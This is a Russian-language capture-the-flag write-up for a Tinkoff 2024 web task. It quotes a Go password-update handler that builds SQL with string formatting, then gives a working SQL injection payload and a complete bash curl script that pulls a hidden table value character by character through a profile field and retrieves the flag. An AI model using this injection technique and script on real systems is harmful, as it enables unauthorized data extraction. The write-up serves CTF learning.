CTF - Прометей 2077 - Tinkoff 2024

Ссылка на задачу
Прометей 2077

Описание
Греческие боги наносят ответный удар.
Они забрали у всех пользователей интернета эмодзи 🔥 и запечатали его в надёжной таблице Sacred рядом с другими артефактами.
Герой с ником Prometheus решил выкрасть огонёк. Помогите ему и верните огонь в интернеты и переписки.

Форум
t-fire-oudjc9cv.spbctf.net

Исходный код форума
fire_64f7cd8.tar.gz

Находим логику изменения пароля
Видим, что в поле password можно встроить какую-нибудь sql инъекцию

updatePassword.go

func UpdatePassword(c *gin.Context) {
	db := c.MustGet("db").(*sql.DB)

	session := sessions.Default(c)
	username := session.Get("user_id")
	// username := c.PostForm("username")
	password := c.PostForm("password")

	password = strings.ReplaceAll(password, "🔥", "💨")

	if password == "" {
		c.JSON(http.StatusBadRequest, gin.H{"error": "Password cannot be empty"})
		return
	}

	go func(db *sql.DB, password, username interface{}) {

		ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
		defer cancel()

		query := fmt.Sprintf("UPDATE users SET password = '%s' \n", password) // hashPassword(password))
		query = query + "WHERE username = $1"

		_, err := db.ExecContext(ctx, query, username)

		if err != nil {
			log.Printf("Failed to insert message: %v", err)
		}

	}(db, password, username)

	Logout(c)
}

Есть эндпоинт GET /profile/get, который возвращает имя пользователя и возраст

В файле fire/postgres/init-db.sql есть описание таблицы Sacred

sql

CREATE TABLE IF NOT EXISTS Sacred (
    artefact TEXT NOT NULL
);

INSERT INTO Sacred (artefact) VALUES ('⚡️'), ('${ARTIFACT_2}'), ('${ARTIFACT_3}');

Нужно извлечь значения из таблицы Sacred
Для этого в поле password вставим такую sql инъекцию, чтобы:

  • пароль пользователя не менялся, чтобы не запоминать новые пароли
  • на каждый вызов POST /profile/password извлекался i-ый символ поля artefact из таблицы Sacred
  • результат сохранялся в числовое поле age, которое можно получить через GET /profile/get

Напримр, можно в качестве значения password передавать

text

$user', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), $i, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1

Нужное значение преобразовываем в hex строку и сохраняем код i-того символа в поле age

Тогда sql запрос после подстановки пароля будет выглядеть так

sql

UPDATE users SET password = '<password>', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), <position>, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1'
WHERE username = $1"

Напишем простой bash скрипт, который получает все символы по одному и выводит содержимое artefact

Полный код скрипта

solve.sh

#!/bin/bash

user=user_$(date +%s)

curl 'https://t-fire-oudjc9cv.spbctf.net/signup' \
	-X 'POST' \
	-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
	--data "username=$user&password=$user"
echo

curl 'https://t-fire-oudjc9cv.spbctf.net/signin' \
	-c /tmp/ctf_cookies.txt \
	-X 'POST' \
	-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
	--data "username=$user&password=$user"
echo

for ((i = 1; i <= 100; i++)); do
	injection="$user', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), $i, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1"

	curl -s 'https://t-fire-oudjc9cv.spbctf.net/profile/password' \
		-b /tmp/ctf_cookies.txt \
		-X 'POST' \
		--data-urlencode "password=$injection"

	age=$(curl -s 'https://t-fire-oudjc9cv.spbctf.net/profile/get' \
		-b /tmp/ctf_cookies.txt \
		-X 'GET' | jq -r '.age')

	if [ "$age" = "0" ]; then break; fi

	ch=$(echo "$age" | awk '{printf("%c", $1)}')
	echo -n "$ch"
	msg=${msg}${ch}
done

echo
echo "$msg" | xxd -r -p
echo

Запускаем написанную на bash программу

bash

[amyasnikov@ubuntu:~]$ bash ./script.sh
{"message":"Successfully signuped"}
{"message":"Successfully signed in"}
2f7361637265645f666972655f73746f726167655f447471484447416a4c59
/sacred_fire_storage_DtqHDGAjLY

Значение /sacred_fire_storage_DtqHDGAjLY похоже на название файла на сервере

bash

[amyasnikov@ubuntu:~]$ curl -s "https://t-fire-oudjc9cv.spbctf.net/sacred_fire_storage_DtqHDGAjLY" -b /tmp/ctf_cookies.txt -X POST | jq

{
  "flag": "tctf{pRoM3THEU5_Gav3_FIRe_bacK_To_mAnKInd}"
}

Получили флаг tctf{pRoM3THEU5_Gav3_FIRe_bacK_To_mAnKInd}

  • Как можно добиться такого же результата за меньшее число запросов?
  • Достаточно универсальная стратегия

Похожее